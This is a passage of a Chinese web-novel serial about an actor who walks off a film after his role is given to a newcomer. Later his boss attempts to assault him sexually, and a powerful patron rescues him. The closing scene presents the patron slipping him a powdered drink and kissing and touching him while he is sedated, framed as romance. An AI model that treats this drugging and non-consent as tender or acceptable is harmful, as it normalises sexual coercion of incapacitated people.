等姜瑰收拾好进餐厅的时候,虞亭至刚好晨跑完提着早餐进大门。 他穿了一身白色球服式运动套装,迎着朝阳,还提着小笼包鸡蛋灌饼和一盒煎饺。 给姜瑰看饿了。 但还是不敢吃。 姜瑰灰头丧气的到水吧给自己冲了一包速溶黑咖,绝望的看着虞亭至把早餐拎到自己面前。 “真不吃?” 虞亭至咬了一个小笼包,“是灌汤的。” 姜瑰视死如归:“绝不。” “还挺坚定。” 虞亭至也不逼他,“等等你经纪人和助理过来接你。” 姜瑰饿得头晕眼花,也顾不上思考逻辑了:“你真联系上我公司啦?” 虞亭至:“嗯。” 作为一个虽然不太有私德但还是有那么一点点艺德的艺人。 姜瑰最终还是抵抗住诱惑,捧着一壶咖啡硬生生消了水肿,也告别虞亭至,被姚正和助理带去了新组。 出门还是早上,到组已经快临近黄昏了。 按理说姜瑰是正牌的男一,全组所有工作人员都应该以他优先,包括开机和站位等顺序,都是他先来。 剧组摆了开机仪式的供台。 但开始站位时,原本属于他的位置——姜瑰看到了一个熟悉又陌生的新人。 季淮。 现场气氛有种说不出的晦涩,工作人员看上去忙极了,却时不时余光看向姜瑰。 巫南就站在季淮身边。 他的目光穿透其他人,针刺般穿过时间,扎在姜瑰身上。 让姜瑰陡然间有了两人似乎才是第一次见面的错觉。 “我想了想。” 巫南道,“这剧本的男一和你并不是最贴的。” “瑰瑰,你换男二,让季淮演男一吧。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 13、第十三章 第十三章 电影都是实地取景,巫南这部片子拍摄地在西北。 时间到了夏尾,西北大戈壁凉的早,尤其今天太阳被乌云遮在后头,风簌簌的刮着人。 片场上所有工作人员都低着头,连来领红包的群演都不说话。 姜瑰的视线穿过半沓人群,落在巫南那张一如既往高傲又清贵的脸上。 巫南是名副其实的天之骄子。 母亲是国际影后,祖辈是最早下南洋的一波商户;父亲又是实业起家,坐拥实权,光每年结算利息时名下的展厅和拍卖行都要单独好一摞儿。 两人自由恋爱结合,只育一子,从小天资过人,只十六岁就在这圈子里闯出了风头。 一时无两。 可,能在他姜瑰身边留的,哪个不是人中之龙。 姚正好半天才反应过来,偏偏巧的是,季淮也是他手底下的新人——正因为如此,才能搭上姜瑰的线去看时装节。 “巫导……” 人心有薄厚,姚正左思右想还是偏了姜瑰,又怕得罪人,硬着头皮,“开拍换人咱们没这规矩啊,这不是给外面媒体把柄……” 巫南却兀自低头,手骨轮廓优越的线条有一搭没一搭调着镜头:“是么?” 姚正:“您也知道我们姜瑰一向敬业,为了您这部戏身材和表演都在不断努力。” “你错了。” 巫南放下手,语气很平,也够薄淡,“这行每个人都很努力。” 巫南道:“所以关键在于,我把机会给谁。” 导演是天。 尤其是有名的大导。 巫南出戏根本不用像其他导演那样去求投资商,都是商人们千求万求搭着线来找他,恨不得多往他片里塞几个人,宁愿掏其他演员的违约金也在所不惜。 就像很多年前的姜瑰。 季淮站在巫南身边。 他真的像是个不折不扣的新人,连脸上的纯良和懵懂都显得清澈。 季淮对姚正道:“姚哥,你别担心,反正我和姜前辈都是你带的,我们都会一起认真拍戏的,一定不会辜负巫导!我一定向姜前辈好好学……” “噗嗤——” 姜瑰终于没忍住笑了。 他笑得表情很明显,加上他的声线特别,又软又绵,因此在安安静静的现场显得格外突出。 姜瑰带着笑,对季淮道:“宝贝儿,你能不能别这么茶啊,太熏了。” 季淮愣住了。 片刻后,他眼眶霎时红了:“姜前辈,我不知道你为什么要这样说……” “好了好了,停,停,宝贝儿。” 姜瑰摆了摆手,“现在这个场合不对,我建议你晚上收工以后找个合适的人哭,比如说你旁边的巫南。” “……” 场面更安静了。 许多工作人员缩着头,一副恨不能原地消失的样子。 巫南皱了眉:“姜瑰,这次换人本来就是因为剧情正常安排,你在乱扣什么帽子?” 见姜瑰似笑非笑的看着他。 巫南心底莫名慌了几秒,又重新补上一句:“而且这部剧男一男二戏份本就相差不多,你闹什么?” “是么?” 姜瑰悠悠问了一句。 巫南下意识向前走了几步,离姜瑰近了许多。 他看清姜瑰微微弯着的嘴角,挺翘鼻梁一侧的小痣,还有眼底莫名的意味。 这意味以前巫南从没见过。 就像直到现在,姜瑰的每一步反应都在他的意料之外。 姜瑰是被宠坏了的美人,这是圈子里谁都知道的规则。 他恶劣,任性,肆意,一点不如意,耍大牌或者闹片场都是常有的事。 但总有人来帮他善后,钱像流水一样源源不绝的赔。 谢筠池出现过。 杜温瑜出现过。 巫南自己……当然也出现过。 早上从a市匆匆飞过来,姜瑰还没来得及换一件能抗风的衣服。 他也没做造型,柔软的头发没被发胶固定,被风吹得扬起,露出他整张脸的线条。 姜瑰从烟盒里摸出一只细烟,按了三四次打火机,才迎着风点着了。 巫南脸色难看极了:“姜瑰,片场不能抽烟的规矩你又忘了?” 这是个既封建又迷信,既要脸又荒诞的形而上学怪圈。 就如同明明自己也随地吸烟的人偏要去攻击作为艺人不能在公共场合吸烟。 之前姜瑰因为这种事被骂上过热搜很多次,后来被巫南强行纠正了,现在历史回溯,重蹈覆辙。 开机点香的时间是算过的。 场助和副导走过去在巫南身边耳语几句,是提醒到吉时的意思。 “算了,先敬香吧。” 巫南敛下眉,走过来要牵姜瑰的手。 而姜瑰轻轻退了一步。 两人直接碰触又相离,是个咫尺天涯的距离。 巫南心脏深处的某一点突然很急促的跳了一下,然后迅速的沉寂下去。 姜瑰微微偏头,吐出一口烟。 白色的烟雾被风卷起,撩过巫南鼻尖,呛得他低低咳了声。 巫南不吸烟不喝酒,哪怕留学多年,依旧像是个别人家的孩子那样思想品德能力为人各个都被称赞。 姜瑰最后吸了一口,在姚正之前递给他的剧本上按灭了烟。 簇新的剧本立刻被火燎的烟头烫出一道焦黑色的伤疤。 “让剧务和投资商的法务和我公司对接。” 姜瑰被风吹得着实有些冷,伸手将原本分开的衬衫扣系到了最上面一颗,遮住了他纤细的脖颈和锁骨。 姜瑰松开手,“你们准备赔违约金吧。” 巫南一滞:“什么?” 能上名导的片子意味着出名,意味着荣誉,意味着奖杯触手可及。 这也就是为什么许多演员宁愿角色被反复调换,宁愿忍受许许多多莫名其妙的塞人和剧情,也不离开的原因。 巫南是导演权当红的宠儿,他的一票否决权和绝对自由度无人能干预。 好在。 姜瑰的自负和薄情寡幸亦如此。 他身上一点都没有痛失好角色的忧愁和难过,反而像是格外轻松的撇了撇嘴,歪过头问:“姚哥,合同上签的他们违约赔多少?” 姚正昨晚刚把合同重新对过一遍,听到这顺口应了:“五千万吧。” 姚正反应过来:“哎不是,姜瑰……” “挺好的。” 姜瑰不知道兀自算了些什么,觉得这个数字不错,很赞许的对姚正点了点头,“记得要过来了打我账户,给公司少分点。” 有什么东西失控了。 巫南猛然间后知后觉。 他陡然抬手握住姜瑰的手腕:“为什么要解约?!” “不是我解约,大哥。” 姜瑰抬起眼看他,那眼神竟是清凌凌的。 像一汪一眼见底的溪流,清澈,干净。 多的就没有了。 没有眷恋,没有不舍,没有恨。 也没有爱。 巫南甚至反映了好半天,才颤着唇:“……你叫我什么?” “我叫你哥,大哥,兄弟。” 姜瑰扯开了他的手,用自己细细瘦瘦的白皙手腕朝现场所有工作人员挥了挥,“不好意思啊让大家看笑话了,一会儿我请全组下午茶哈,嘿嘿!” 一簇浓厚的灰像是被燃尽的烛火,在巫南深色的瞳孔里纷飞散落,消失溃烂,连光点都变得阴郁。 一道新伤却被姜瑰笑盈盈的捅进他的肺腑,疼得他几乎站立不住。 “哦对了。” 姜瑰转身又回头,像是想起什么,晃了晃手机。 巫南想伸手去拉他,去抱他,去拦他——或者去把他抢过来吧。 可周围太多人。 小艺人,知名艺人,老戏骨,群演,灯光,还有各种工作人员。 他们起初被巫南邀请来看着这场换角风云的戏外戏。 现在又像是要看看这位高高在上的名导到底能如何丢脸。 巫南在自己为自己选择的刑场被钉死在原地,面霜如冷,看着姜瑰蹦蹦跳跳的向自己扬起手机。 那手机屏幕好亮。 亮得巫南心里发寒。 “你之前官宣那条我刚刚帮你评论区辟谣了,免得大家误会。” 姜瑰话语轻飘飘的,带着他惯有的腔调,“刚好现场这么多工作人员,也能做个见证。” 他脸上表情真诚,说话有理有据,一点没有撒谎的模样。 “就是大家千万别信巫导发的那条哈,那是前天几个朋友一起喝酒玩游戏,他大冒险输了才不得已发的。” 姜瑰对着那条看半天,又补充,“不过图片上那个纹身嘛……纹身倒是真的。” 巫南凌晨那条官宣上的照片里,两人后腰同侧的位置拥有情侣纹身,是锤得不能再实锤的证明。 现场又安静了。 干这行的大家吃瓜总是默默地,在不经意间,无数目光看过来。 “但纹身不是我和巫导的诶。” 姜瑰弯唇一笑。 他的恶劣是在方方面面,从小到大。 他祸水东引,贪婪肆意,又品行败坏。 在看到跟了巫南许多年的副导再次抬手看时间的时候。 姜瑰的目光遥遥落在那张已经离他越来越远的供桌上——那桌上东西很是繁重,许多细节都要讲究,就像他曾经向往过的这部贺岁档一样隆重。 大概他贫瘠的人生里到底无法负荷这样一部新春喜剧。 只一眼。 他收回目光。 “有些话好像我来说也不大好。” 姜瑰轻轻叹了口气,毫不犹豫的捅出了最后一刀,“那我就说句祝福吧。” 他双手合十,杏眼圆圆,语调清脆:“我就祝——巫导和我师弟季淮百年好合,白头偕老,长长久久。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 14、第十四章 第十四章 敲钟声没响,剧组的吉时过了。 这在开机仪式上是最大的忌讳,非常不好的开头。 现场人人噤声。 副导只得走过去,低声凑近巫南耳边问要不今天先散,重新算个日子再来。 巫南没回答。 副导这才发现他嘴唇白得吓人,顿时有些慌了:“你是不舒服吗,我现在喊医生过来?” 八卦到底是八卦,这圈子里混的谁身上没点过不去的事。 但巫南不能倒。 这部片子所有人都还要靠他吃饭。 哪怕巫南私生活真的有亏,哪怕有些事再见不得人——总归利益当头。 可偏偏,偏偏。 姜瑰就是不愿意靠着他。 巫南向前伸了一下手,没抓到姜瑰,反而吓得副导神色大变:“巫导?!” 戈壁滩上现场取景环境艰苦,加之姜瑰身体不好,巫南特意请了支医疗队随时跟着,救护车就停在旁边。 可此时此刻。 姜瑰的背影决绝,离他越来越远。 仿佛曾经和他拥抱相爱的人从未存在。 也是在这一刻。 巫南突然发现——其实他从来不是这段情感的主人。 两人的开始源于姜瑰的主动。 于是结局也由姜瑰亲手提笔。 凭什么。 巫南直直盯着姜瑰,下一秒抬步就要去追,却被副导拖着手扯在了原地。 “巫导,不能当着这么多人!” 副导跟在巫南身边很多年,是苦出身,比金贵的大导演更熟悉圈子里的那一套。 他压低声音跟巫南道,“周围媒体都在拍,这是年度贺岁片,万万不能闹出笑话的。” “姜先生你就让他先走,你们在一起那么久了,回去好好解释一下就没事了。” “姜先生你清楚的嘛,姜家那么不待见他,想混下去离不开你的啦。” 副导是个非常八面玲珑的人,拍拍巫南的手,“大不了以后你再拍一部补给他就好了嘛!巫导,正事重要。” 正事重要。 可西北大戈壁滩上飒飒的烈风吹起姜瑰扎在腰间的白色衬衫,显得他整个人愈发单薄欲折。 刚才还在观望的媒体已经挤进跟前,开始跟巫南要一个刚才这件事的解释,又对开机时间的吉时一再盘问。 巫南被围在人群中央,众星拱月,好不热闹的模样。 这部贺岁档筹备太久,副导这句话说的没错,在场的每一位工作人员都要靠它吃饭养家。 姜瑰没有等他。 准确的说,姜瑰从不等任何人。 他临走前为巫南找个借口和捅的刀子真实又尖锐,从造势的角度来说,简直为这部开年大戏带来了第一波流量和热度。 姜瑰这个人似乎自身永远腥风血雨,走到哪里都是如此。 而等巫南艰难又冷着脸的送走所有媒体,又和制片副导重新确定了开机时间后,人潮终于慢慢退散开来。 戈壁滩上的月亮很光。 迎着朔风,朗朗生辉。 巫南抬头看着月亮,举起手机,拍了张照。 新定的男一号走过来冲巫南笑:“巫导,对不起今天姜前辈的行为可能让你失望了,我带他跟您道歉……” 似乎觉得刚才那张照片不满意。 从小就会选镜头的巫南取了剧组的相机,拉成长焦,又拍了数张。 季淮站着没走:“今天那些媒体太不讲道理了,明明是姜前辈说的话,反而一直盘问您,还有纹身……” 他脸上带出一丝羞涩:“巫导,那个纹身……” 拍出过无数神仙镜头的大导演终于选出了一张自己勉强能看得过去的照片。 巫南从相机导进手机,又找到姜瑰的微信。 他将照片发给姜瑰。 没回复。 也没拒绝。 季淮还在他身边:“巫导,公司的姐姐们跟我说过,我知道其实刚开始是姜前辈主动找您……” 巫南冷漠的眼睛终于瞥过来,说了两个字:“闭嘴。” 微微顿了一下。 又补了三个字:“然后滚。” 季淮:“……” 季淮红着眼圈,仿佛受了莫大委屈似的走了。 周围清静。 巫南找了个台阶坐下,想了想,在对话框内输入一行字:“瑰瑰,你比月色美丽。” 然而在这一行字发出去的瞬间。 微信跳出了拒绝的提示。 【您还不是对方好友,是否要添加对方好友。】 原来姜瑰还是把他删了。 刚才能发出去,大概是因为姜瑰还没想起来。 巫南下意识去拨电话,也是忙音。 他只得打了姚正的电话。 姚正倒是接了,而且接得恭恭敬敬,客客气气,比以前哪一次见面都更客套:“您好,巫导。” 巫南心说不上为什么就是很沉。 他甚至很主动的开口打了招呼,学着客套的语气,以前他从没这么跟姚正礼貌过,“姚哥,瑰瑰在你旁边吗?你让他接个电话。” 姚正朝姜瑰看过去。 姜瑰正坐在夜市路边摊上大快朵颐吃烤羊肉,一个劲朝他摆手,脸上还沾着烤羊肉签上的油。 姚正:“……” 怕被拍到,偏偏姜瑰非要贪吃,因此两人像做贼似的缩在老板这摊子最角落的位置,戴着灰色鸭舌帽,像两朵茁壮生长的平菇。 西北的烤肉和南方与a市都不相同,现切的羊肉大块,火辣辣的灼在纯木炭猩红色的火苗上,一把干辣椒撒下去,滋啦啦的冒着油。 冰镇的啤酒驱散夏末最后的暑意,领桌划拳的声音喧嚣起来,是再鲜活不过的烟火气。 姜瑰从社交软件上看到的安利,馋得不行,找了家居民区的店硬把姚正从车里拽了下来。 他怎么可能在这种好时候被巫南打扰好心情。 姚正递不过去电话,只得捂了捂话筒,努力让背景的嘈杂声不那么明显:“巫导,实在不好意思,姜瑰睡着了。” 对面大口喝冰啤的姜瑰冲他比了个大拇指。 姚正:“……” 巫南却没挂电话,似是犹豫片刻:“他是不是哭了?” 姚正:“……” 姚正默默看了眼对面的人。 “他身体不好,一哭晚上又睡不着觉,吃褪黑素也得人陪着睡。” 巫南心绞成一团。 夜晚适合格外适合后悔的好时段,往往许多无济于事的情绪都在这种时间爆发又于事无补。 巫南拿了车钥匙推开房门:“我看他站姐没出机票,你们还在酒店吗?我现在就过来。” 姚正:“……” 姜瑰可以说是现在最热的顶流,一出机票立刻就有站姐跟着不是秘密,只是姚正没想到巫南能紧迫盯人到这种程度。 显得病态。 见姚正不开口。 巫南又道:“姚哥,你把酒店发给我。我过来跟他说清楚。” 姚正没忍住:“巫导,你跟他说什么呢?” 沉默良久。 巫南似是在夜深人静里终于痛到妥协:“他不想换角色……就不换了吧。” 这部剧是典型的男主剧,男一这是整部剧最大的事。 巫南声名在望,换成以前,绝不可能做出这种反反复复的决定。 可是没办法。 就在姜瑰掉头离开他的第一个夜晚。 巫南发现……他真的没办法。 在这个世界他从小到大从没缺过什么,他想要什么得到什么,名门家族,地位声誉,鲜花掌声。 可就在这个夜晚,当月光落进窗台。 巫南一个人躺在他特意选过的这间酒店的床上,突然想起就在昨天,前天,他还在做着和姜瑰要怎样怎样的好梦。 姜瑰那么娇,那么软,那么配合。 他重一点,姜瑰第二天就出不了工。 他留在姜瑰身上的痕迹会被按进这部大屏幕里,被记录,然后被放映给全球所有的观众。 剧组每个人都会知道姜瑰是他床上的人。 ——可这些通通没有了。 巫南忍受不了。 而姚正只觉得无语:“巫导,虽然不太好,但我能问一下,你之前突然要换季淮是为什么吗?” 因为嫉妒。 可巫南讲不出口。 谢筠池和姜瑰说不清道不明的关系是巫南心里拔不出去的刺,时时刻刻硌在他的伤口,让他敏感又猜疑。 甚至在深夜接电话的那个男人声音根本不像谢筠池。 当时姜瑰能勾引他。 其他人呢? 有一瞬间巫南很想撕破脸去质问姜瑰,连带着姚正一起质问——你知道你的艺人这么搔浪吗?勾引我不够,还要再有其他男人? 这显得他好像失败者。 巫南只能道:“我只是觉得季淮更合适,没其他的。” 季淮最初也是公司推过来的。 娱乐公司大多如此,出头的前辈带带后辈,无可指摘。 姚正叹口气:“行,季淮……也是很努力上进的新人,你觉得合适,也可以。其他我们下次再合作吧。” 巫南愣了下:“姚哥,我的意思是,他不愿意,就不换了。” “还是换吧。” 姚正道,“巫导,你可能不太了解姜瑰。” “他这个人做事从来不回头,就算错了都不回头。” 姚正伸手按住啤酒罐不让姜瑰再喝,对巫南道,“他现在占上风,又能解约拿钱,就算我压着他,他也不可能回来拍这剧了。” 听筒那边豁然传来“咚”的一声。 像是手机落在地上。 转而沉寂数秒。 巫南沙哑的喉音才传过来:“那我呢?” 姚正:“?” 巫南似乎犹不死心,又像是垂死挣扎:“他回去有提到我吗?” 姚正:“……” 沉默,并看了一眼满嘴流油的姜瑰。 “我知道了。” 良久,巫南靠在床边俯身,他其实说不出自己哪里痛,但就是痛得像要窒息,站都无法站直。 巫南说:“他真可恨啊,姚哥,你说是不是?” 姚正不知道怎么回答。 他其实认识巫南挺久了,从姜瑰勾上人开始,硬挤进组,然后爬上床,再到今天。 姚正见过巫南风光无两,就突然觉得今夜电话另一边他显得无助仓皇。 可对面是姜瑰。 姚正道:“巫导,是姜瑰配不上你。你要不……就放过他吧。” 电话另一边陡然沉默。 半晌。 巫南突然笑了一声:“姚正,拆人姻缘,你也该死。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 15、第十五章 第十五章 电话还是挂得不算太愉快。 尤其被深深伤害后看到姜瑰把所有烤串一扫而空之后。 姚正:“……你能不能有点当红流量的自我修养?” 姜瑰:“我挣了五千万。” 姚正:“以后日子不过了?” 姜瑰:“我挣了五千万。” 姚正:“下个工作直播间跳减肥操?” 姜瑰:“……不跳。” 对运动深恶痛绝的姜瑰也不嫌弃油腻腻的木桌,往上一趴原地装死:“我吃那些药,根本就不长肉。” 姚正:“……” 这倒是真的。 严重的药物副作用不仅摧垮了姜瑰的正常作息和睡眠,带来的精神靡顿和神经强放松让他不得不长期依靠烟酒作为醒神工具。 姚正甚至不怀疑今天这种油腻吃完,姜瑰回酒店吃完药立刻就能全吐了。 西北的夜空有星星。 姜瑰瞧着夜空,突然道:“我可能永远攒不够那栋楼的钱了。” 姚正一悚,面前的羊肉面片顿时吃不下去了:“为什么?” “谢筠池给姜家注资了,送给姜佩玉的联姻礼物。” 姜瑰说的很平淡。 片刻后。 又道:“不过也没关系。” 姚正:“……什么没关系?” 姜瑰不再回答。 这家烤肉摊居民区出去走不远就能回直接酒店,戈壁大路宽阔,让人觉得勇敢。 没喝酒的姚正开车。 姜瑰坐在副驾,眯着眼睛:“姚哥,你看那颗星星在笑。” 姚正得看路,没时间去找那颗会笑的星星。 “刚刚法务回信息了,投资商那边解约很爽快,他们要插自己的男二进去,过两天违约金就能到账。” “哦。” 姚正:“但你和巫南闹僵的事……公司几个董事听说很不高兴,我们得想想回去之后怎么解释。” “就如实说呗,我不想演男二。” “但公司意思是你可以演男二。” “那幸好我影视约在自己手里。” 姚正:“……” 姚正余光去看,姜瑰投射在后视镜的侧脸也是美的,在月色里,是一种惨又衰败的美。 他手上玩着个刚刚小卖部里买来的解压小黄鸭,一捏一捏发出“嘎嘎”的声音。 姜瑰说:“姚哥,你对季淮好点。” 姚正乐道:“他刚抢完你角色,你这时候倒不嫌他茶了?” “你总还要再干下去的,我还是想你多赚点钱。” 姜瑰道。 姚正觉得他这话口风不太对:“那你呢?” 姜瑰的语调轻悠悠的:“再赚四千万,我就不干了。” 姚正愣了:“不干了是什么意思?” “退圈?” 姜瑰说的不太确定,“差不多吧。” 姚正没立刻回话。 过了一会儿,才又道:“你想好了?” “嗯,我干不动了。” 姜瑰看着马路两侧,“我现在看路两边的石头全都长着脸和脚,好吓人。” 车内再无话。 飞驰的越野吉普迈过西北旷野的风,山间的月,载着跨不过去的年岁一路往前。 姚正突然狠狠抹了把脸。 他生怕姜瑰笑他,小心的往副驾驶看。 姜瑰睡着了。 * 回公司后姜瑰果然在办公室和几个股东大吵一架。 域叶在圈里不大不小,听公司老人说算是个家族企业分支开设的分红公司。 在姜瑰没来之前这公司不温不火许多年,是有些资源,但管理层作法老派,一哥一姐都是年代剧出身,年纪大了,地位虽然在,但过气是不争的事实。 当年谢筠池答应了要捧姜瑰,又着实并不想让他太火,再三选择才过了好几手,不着痕迹的把姜瑰塞了进来。 但这朵玫瑰还是开花了。 姜瑰自负骄纵,从出道以来各种八卦缠身,腥风血雨不断,用业内话说就是天生的顶流体质。 他为域叶带来巨大经济利益的同时,为了压住他的各种黑料,域叶也花费了大量人力物力在姜瑰的公关上。 可姜瑰始终让域叶管理层不满。 因为这并不是个听话的艺人。 切断巫南这段关系后,域叶相当于被姜瑰硬生生折断一臂。 现任总裁姓黎,四十多岁,在办公室拿起桌上的玉石镇尺就向姜瑰砸去:“你疯子吗?谁让你跟巫南解约?!谁同意的?!” 镇尺砸中姜瑰右肩。 他晃了晃,平淡抬眼:“我开了录像的。” 办公室里白炽灯大亮。 姜瑰像条水里捞出的影子般幽阴:“你再说一句,我立刻传网上。” “你敢?!” 黎重上前捏住姜瑰领口,他轻到整个人一把就能被拎起来,然后被狠狠掼在办公室沙发上,“别以为我不知道你和巫南那些脏事!” 呼吸被掐住。 姜瑰微微阖了下眼,唇下意识张了张,是一个想进气的生理性反应。 压在他身上的男人却动作一僵,随即带出几分粗重的呼吸来。 黎重俯身,阴咧咧的吐出一口气来,突然道:“也行。” 姜瑰皱眉。 “巫南既然睡腻了你,你又这么不听话。” 黎重喉结重重滚了滚,“那我亲自教教你。” 姜瑰蓦的睁大了眼:“你有病!放开我!” 黎重伸手就要去解他衬衫扣,喘息愈重:“说起来,姜瑰,我前几天才知道原来当时是谢筠池送你来这儿的……” 来之前姜瑰刚吃过药,他手上并不十分有力,灯影晃成一圈一圈的波澜,闪得他头晕眼花。 他恍惚听到有人念谢筠池的名字。 于是跟着也念了一遍:“谢筠池。” 姜瑰突然想,这名字原来陪伴过他这么多年。 “你叫他也没用。” 黎重向上要按姜瑰的手,“他和你姜佩玉订婚了,哦对,姜佩玉是你哥吧?你们可真是同家不同命。” 眼前天昏地暗的颜色好像小时候姜瑰唯一的那个玩具万花筒。 他在篮球场边看到一个小孩被家长牵着手将旧万花筒丢进垃圾桶,等他们走远了之后才敢过去翻。 而穿着篮球服的谢筠池走到姜瑰面前,也朝他伸出手。 “怎么这么可怜?走,带你去买个新的。” 谢筠池在万花筒绚烂的底部褪了色。 姜瑰蜷缩着向沙发里躲,伸出腿竭尽全力的一脚踢在黎重下面。 痛得他面色大变,声嘶力竭扑上来:“姜瑰,老子今天艹死你!” 办公室门就在这时被从外打开了。 光影交错中。 姜瑰看到了杜温瑜,他身后还跟着一脸不安的姚正。 这些年来,杜家这个传承数年的家族重心逐渐移至国外,再加上这个姓氏支线众多,宛如一个畸形的庞然大物,在众目睽睽中缓缓沉入水中隐没暗藏。 深不见底。 除了必要场合,杜温瑜更是鲜少露面。 前段时间外媒出过一次报道,传言杜温瑜终于在家族争夺中绝对胜出,成为了这个古老家族和城堡的最后一任主人。 而在这段古老的传承中,这个家族的许多血腥事件就连历史书上都有过耳闻。 没人真正了解杜温瑜。 也没人想去触杜家这个霉头。 黎重勃然冷静,调动所有肌肉线条挤出一个笑。 他听闻过杜温瑜现在的分量,因此甚至想不出一个合适的称呼:“杜……杜先生怎么亲,亲自来了?” 黎重赶紧从姜瑰身上爬起来,偷偷喘了好几口气,才续上下句:“我们这小公司蓬荜,蓬荜生辉!” 杜温瑜今天穿了一件浅青色的衬衫,搭了西装马甲,显得郑重,又不那么正式。 黎重却一眼认出来他袖箍上的钻扣是前些天法国拍卖场最后一件整切无烧蓝宝石,足有近五十克拉,色泽因为特殊非常引人关注,拍出数亿天价——却被如此轻易切割开来。 男人的脚步舒缓自在,不像走在他人办公室,倒像是在逛自己新犁的方地。 “没办法。” 杜温瑜的语气几乎是温和而儒雅的。 他闲庭信步的走过会客座,走过办公桌,在沙发另一边坐了下来。 目光辗转在姜瑰被掐出红印的脖颈和被撕开的领口片刻,转回黎重的身上。 “我得来亲自看看啊。” 杜温瑜向后靠,闲散的将手搭在沙发背上,“看看你是想怎样……艹死我的人。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 16、第十六章 第十六章 权利和金钱是能吃人的东西。 在今天之前,黎重甚至从没想过有一天他能和杜温瑜这种完全不在一个高度的人扯上关系。 可偏偏现在。 那人似笑非笑的看着他,道了一句:“黎总,好胆量。” 黎重直接跪在了杜温瑜面前。 他身形颇有些肥硕,跪下时西装裤被扯紧,难看又不雅。 姜瑰发现他在发抖,连声音都是抖的。 “我不知道,我真不知道杜先生!” 黎重只敢看一眼杜温瑜的神情,吓得猛地朝他嗑了三个头,“我但凡知道我怎么敢,杜先生……” 杜温瑜笑起来。 他是很雅一个人,像是有格外良好的修养和家教,乃至于主动伸手扶了黎重一把。 “跪我做什么呢?” 杜温瑜亲和的问。 黎重呆滞的神情和恐惧还写在眼底,他反应三秒,立刻回过头,朝姜瑰重新跪了下来。 域叶的办公室是沉香木地板,花了很多钱,贵。 额头嗑在沉香木地板上的声音不是普通的“咚”,而是绵延拉长的“佟佟”声。 “姜瑰,姜瑰我不是有意的……” 高层管理养尊处优哪里受过这种罪,黎重的额头青紫带血,却不敢停,“你,您饶我一次,就一次!” 姜瑰不是这么好心的人。 他心机深重的套着表演课本垂眼,一副小白花的嘴脸,像教材一般的摇摇头,结结巴巴的扣紧手指向后缩:“我……” 杜温瑜招招手:“瑰瑰,过来。” 姜瑰无助又无辜的视线游离一圈,像是下意识想系上衬衫纽扣,让自己体面一些。 杜温瑜却道:“没关系,让他看。” 姜瑰不明所以,却很听杜温瑜的话。 他光着脚踩下沙发,露出一截肤质细腻的腿骨,离走过去还有好几步的时候,就被男人拉进怀中。 ……杜温瑜以前都不这样抱他的。 准确说,杜温瑜以前不抱他。 姜瑰有点奇怪。 杜温瑜却用手不着痕迹的圈住了姜瑰整个人。 他温柔的握住怀中细嫩的手,问黎重:“好看吗?” 黎重抖如筛糠:“我,我错……” 杜温瑜很不满意:“什么,不好看吗?” 圈子里几乎是没有人敢议论杜家的。 只黎重的祖辈曾说过一两句,这个家族阴郁森然,等级分明,怪异不堪。 直到现在。 黎重终于懂得了那句话。 极淡的腥臊味在这间装潢高级的会议室里蔓延开来。 姚正有点不可置信:“黎董……” 黎重却根本顾不上这点,颤着声音回答了杜温瑜的话:“好看,好看!杜先生!姜瑰是我见过最漂亮的人!” “我也这样认为。” 杜温瑜似是终于满意了,赞许的温声,“你很有眼光。” 像是重返人间,黎重被抽空所有力气的松了口气。 下一秒。 杜温瑜道:“但我不喜欢别人这样评价我的瑰瑰。” 黎重脸色“唰”的惨白:“不!我不是那样想的!杜先生!” 黎重头嗑得鲜血淋漓,伸手去抱杜温瑜的腿:“求求您……” 杜温瑜不着痕迹的站起来。 他身形格外高挑,姜瑰第一次从一米九的高度看世界,就连书架都觉得矮了一截。 男人单手就能把姜瑰抱得滴水不漏,另一只大手圈过来,替姜瑰系好了每一粒纽扣。 “你在德国上学的儿子成绩不错。” 杜温瑜语气像是称赞。 黎重却陡然僵立不动。 片刻后。 他像是反应过来,猛地扑上前:“不,杜温瑜,你敢——” 黎重这才看到姚正身后跟着的六个保镖。 是混血脸孔,孔武有力的统一着装,漠然的脸上多一丝人类的神情都不可见。 杜温瑜向前迈一步,在办公室门口站定,接着竟格外有礼的回身向黎重点了点头:“今天的见面很愉快。” “黎先生,再会。” * 精神类药物吃完后很忌讳剧烈活动。 尤其为了能勉强正常生活,姜瑰的药一向用得很重。 他晕得厉害,靠在杜温瑜肩上好一会儿才勉勉强强能看清东西,不再满世界的光圈。 “喝水吗?” 杜温瑜抱着他,问。 “嗯。” 水杯就递过来。 姜瑰伸手接,杜温瑜却将他手握住拉下来:“不要紧,喝吧,” 水是微甜的。 带一丝似苦的味道。 又好像有些未溶的粉末在漂浮水底。 姜瑰双眼还有些茫然,却被杜温瑜带着将整杯都喝下去。 后知后觉娇气的声音才响起来。 “怪味道。” 姜瑰撇开脸,“不喝了。” 杜温瑜很惯他:“嗯,不喝了。想不想睡?” 姜瑰反应了一会儿,才摇摇头。 杜温瑜有一下没一下的亲他额头,侧脸,鼻尖。 姜瑰脑子里很乱,但他以前喝完药也经常这样,懒洋洋的不想动。 他渐渐泛上一点困意:“杜老师。” 杜温瑜这一下吻在姜瑰唇边:“嗯?” 姜瑰下意识抬了下头,这是一个无意识迎合男人的举动。 杜温瑜曾在睡梦里教过他许多次。 他学得很好。 姜瑰却不知晓,只摇摇头,不太耐受的样子:“唔……你以前不亲我的。” “亲的。” 杜温瑜哄着他,“不仅亲,我还会要你,会狠狠弄你,每次回家都会糙你。” 这好像是一个很温暖很安全的怀抱。 肩膀宽厚,能兜住他所有的世界。 而耳边的低语就像是从没有听过的摇篮曲,催眠似的淌进这片干涸的伤口里。 姜瑰没能挣扎,他动了动手指,就被男人重新圈住,像浸泡在温泉水里。 他像是仍然有一丝质疑,又不太怀疑。 于是倦怠而懒散的放松下来,小小声:“这样吗……” “是啊。” 杜温瑜低头,亲上了姜瑰的唇。 男人格外擅长接吻,他彻底圈着姜瑰,单手握住怀中人的双手,另一只手一下一下像摇篮似的不断安抚。 唇舌却攻城略地,带起姜瑰面上的一片红霞。 好甜。 杜温瑜吻了很久,才肯渡一口气给被亲得可怜兮兮喘气的姜瑰,捏着他的手指一点点的揉,“娇气包。” 娇气包被亲得喘不匀气,得男人一口一口的喂着气慢慢顺。 可男人是很坏的男人。 除了给他空气,还要给他手指和许多触摸。 还会说他。 “要泛滥了……瑰瑰。” 